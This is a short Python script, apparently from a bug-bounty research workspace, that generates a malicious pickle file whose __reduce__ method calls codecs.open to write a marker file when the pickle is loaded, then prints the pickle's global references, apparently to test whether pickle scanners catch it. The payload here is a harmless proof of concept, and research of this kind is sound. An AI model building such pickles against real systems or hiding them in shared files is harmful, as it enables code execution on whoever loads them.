File size: 491 Bytes
95447ee | 1 2 3 4 5 6 7 8 9 10 11 12 | import pickle, os, pickletools, io
import codecs
MARKER = r"C:/Users/uozer/AppData/Local/Temp/opencode/CODECS_PWN.txt"
OUT = r"D:\0projects\bountykimi\tmp\artifacts\evil_codecs.pkl"
class E:
def __reduce__(self):
return (codecs.open, (MARKER, 'w'))
data = pickle.dumps({"e": E()})
open(OUT, "wb").write(data)
print("gen ok", os.path.getsize(OUT))
print("globals:", [(o.name, a) for o, a, p in pickletools.genops(io.BytesIO(data)) if o.name in ("GLOBAL","INST","STACK_GLOBAL")])
|